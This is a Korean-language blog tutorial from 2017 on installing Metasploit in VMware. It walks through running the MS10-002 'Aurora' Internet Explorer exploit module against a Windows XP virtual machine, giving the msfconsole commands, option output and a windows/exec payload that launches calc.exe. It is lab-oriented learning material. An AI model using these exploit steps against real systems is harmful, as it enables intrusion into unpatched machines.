2017. 3. 3. 12:40

metasploit를 이용하여 exploit 테스트하기

metasploit란?

메타스플로이트 프로젝트(Metasploit Project)에서 메타스플로이트는 펄 스크립팅 언어를 사용하는 휴대용 네트워크 도구로서 2003년 H. D. 무어에 의해 만들어졌다. 그러나 루비에 의하여 재구조 된 이후 2009년 10월 21일 Rapid7, 통일 취약성 관리 솔루션을 제공하는 보안 회사에 인수되었고, 현재는 오픈 소스, 보안 취약점, 침투 테스트 및 IDS 서명 개발 보조기구 등에 대한 정보를 제공하는 것에 목적을 두는 컴퓨터 보안 프로젝트이다. Metasploit Project의 가장 잘 알려진 하위 프로젝트는 Metasploit Framework이며 이것은 개발 및 원격 대상 시스템에 대한 공격 코드를 실행하기 위한 도구이다. Metasploit Project의 다른 중요한 하위 프로젝트로로는 Opcode 데이터베이스, 셸코드획득 및 보안 연구를 포함하고 있다. Metasploit Project는 Metasploit Framework로 이루어진 anti-forensic과 evasion tools으로 유명하다. (wiki)

짧게 말해...

취약점 침투 테스트.
상용 / 비-상용
여러가지 취약점 코드별로, payload등을 설정하여 테스트할 수 있음


1. 준비물

악성 코드가 흘러 다닐 수 있으니, 되도록 vmware가 있다는 가정을 하겠다.
필요 OS는 Windows 7 (metasploit 설치) / XP (취약점 테스트) 두개 이다.

2.metasploit 설치

https://www.rapid7.com/products/metasploit/download/editions/
에 들어가보면 모든 버전의 metasploit을 볼 수 있다.

돈 많으면, Pro나 Express등을 직접 본인의 "월급"에서 구매하자.
물론, Pro를 Recommend하고 있다.
여하튼, 그럴 여유가 없다면, 무료인 Framework을 설치하자. (라이선스 이슈는 없을 듯 하다)

Community는 설치후, CD-Key를 요청하는데, rapid7 쪽 서버와 연결이 되어야 한다. (비연결 인증도 있기는 하나, $이 필요하다)
여하튼, 시간이 넉넉하지 않다면, Framework을 설치하자.



본 walkthrough는 Windows 기반으로 하겠다. Linux/OS X 등도 아마도 동일한 조건으로 실행될 것이다.

설치는, 되도록 VMWare 내부의 Windows 7 OS 이상에서 하자.

만일, XP에서 설치하게 되면, MSVCRT.dll 관련 _gmtime64_s 오류가 발생하는데, 이는 metasploit이 ruby 기반으로 되어 그렇다.

ruby가 원래 XP에서 이런 에러가 뜬다.

시간 여유가 있다면, ruby를 직접 build하여 해결하라. 그렇지 않다면, 걍 Windows 7에서 설치하라.


그냥 Next하면 알아서 설치한다. 설정 입력등은 필요 없다. 단 중요한건, 해당 VM Image에는 V3등이 설치되어 있으면 안된다.

설치가 완료되었다면, 이제 VM 네트워크 설정한다.

3. vmware 네트워크 설정

아래와 같이, metasploit을 설치한 Windows 7 이미지의 설정에 들어간다.


그리고 아래와 같이, Network Adapter에 "Custom: Specific virtual network"을 선택하고,

VMnet0
을 선택한다. (0, 2~7, 9~19 중 하나면 된다)

그럼 걍 reboot를 해서, 다시 시작한다.
재부팅후 ipconfig를 실행해서 Local IP가 169.254.235.169(예)가 된 것을 확인하고,
C:\metasploit-framework\bin\msfconsole.bat
를 실행한다. (좀 기다리자)

그럼, 이상한 title과 함께
msf >
프롬프트가 생긴다.
이때,


msf > set SRVHOST 169.254.235.169
SRVHOST => 169.254.235.169


와 같이 미리 Local IP를 세팅해 두고,
msfconsole.bat가 실행된 상태에서,
VMImage의 snapshot을 생성해 두자.


4. 어떤 exploit을 테스트해 볼까?

https://www.rapid7.com/db/search
에 들어가 보면, exploit을 검색할 수 있다.
Select Database combo에 Metaexploit Modules를 선택한다.
아래는 검색의 예제 이다.



검색된 결과중 마음에 드는 것 하나를 선택한다.

중요한것은, 모든 exploit이 모두 다 잘 발현되는 것은 아니다. 그러니, 검색된 결과를 다 확인해 볼 필요가 있다.


일단,

MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption
(https://www.rapid7.com/db/modules/exploit/windows/browser/ms10_002_aurora)

를 실험해 보도록 하자.
해당 URL을 가보면,

Target은 Automatic이라서, 큰 이슈는 없을 듯 하다. (만일 Automatic이 아니라면, set targets 0, 1, 2, ... 을 시도해 볼 수 있다)

Platforms는 Windows라서, 큰 이슈는 없을 듯 하다.


일단, Module Options를 보면,


msf > use exploit/windows/browser/ms10_002_aurora
msf ... > show targets
msf ... > set TARGET <target-id>
msf ... > show options
msf ... > exploit
 

의 과정을 거쳐라고 알려준다.
이를 기반으로 아래와 같이 실행해 본다.


5. metasploit 설정 & 실행


아까전에 VMWare Snapshot을 뜬 것으로 부터 시작하자.
아래를 실행해 본다

msf > use exploit/windows/browser/ms10_002_aurora
 

그럼 아래와 같이 prompt가 변경된다.

msf exploit(ms10_002_aurora) >

이제 show options를 실행해 보자.

msf ... > show options
 

Module options (exploit/windows/browser/ms10_002_aurora):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  169.254.235.169  yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Exploit target:
   Id  Name
   --  ----
   0   Automatic
 

SRVHOST는 Snapshot 직전에 세팅하였기 때문에, 169.254.235.169로 되어 있다.
이 곳에서 Required로 나타난 부분은 exploit 실행을 위한 필수 값으로 생각하면 된다.


msf ...> set VALUENAME "VALUE"


와 같이 값을 세팅할 수 있다. (예를 들어, SSL 설정을 변경한다면, set SSL true와 같이 실행한다.)
필요시, show targets와 set target 0, 1, 2, ... 와 같이 Target을 명시적으로 설정할 필요가 있을지도 모른다.
(Automatic으로 해도 잘 안되는 경우, target을 명시적으로 해보자)
일단, 위 ms10_002_aurora는 별다른 target 설정 없이, automatic으로 해도 exploit이 잘 되는 것 같았다.
이제 exploit을 실행하면 될 거 같지만, payload를 설정하는 일이 필요하다.


msf ...> set payload windows/exec


이런 경우, exploit이 발생하면, windows 실행 command를 실행하게 되는 것이다.
다시,


msf ...> show options


를 실행하면,


...
Payload options (windows/exec):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD                        yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
...
 

가 추가된 것이 확인된다.
이제,

msf ...> set CMD calc.exe
 
를 실행한다.

...
Payload options (windows/exec):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CMD       calc.exe         yes       The command string to execute
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
...
 

와 같이 calc.exe가 세팅된 것을 확인할 수 있다. EXITFUNC는 thread와 process등이 사용될 수 있듯 하다. 일단, process로 내비두자.

이제 마지막으로 exploit을 실행하자.

msf ...> exploit
 
혹시 아래와 같이 방화벽 알림창이 뜬다면, "액세스 허용" 하자.

그럼 아래와 같이 메시지가 발생한다.


msf exploit(ms10_002_aurora) > exploit
[*] Exploit running as background job.
msf exploit(ms10_002_aurora) >
[*] Using URL: http://169.254.235.169:8080/UIVSVRsnmFaIn
[*] Server started. 


이제, Using URL에서 알려준 URL을 복사해두고, XP OS에서 테스트해 보자.
Windows 7 VMWare는 중단하지 말고, 서버가 실행중이기 때문에 그대로 동작시켜 둔다.

6. 취약점 테스트

XP SP3 OS를 준비하고,

에서, Network Adapter 설정을 VMnet0로 한다. (3. vmware network 설정에서 사용했던 동일한 VMnetn을 사용한다)

앞 단계의 URL을 가지고,

를 실행한다.

그러면, 아래와 같이, 계산기(calc.exe)가 실행된다.

(모든 metasploit에 있는 exploit이 다 잘 되는건 아니었다. show targets와 set target n을 하여 target을 명시적으로 변경해 가면서 실험해 보기 바란다.)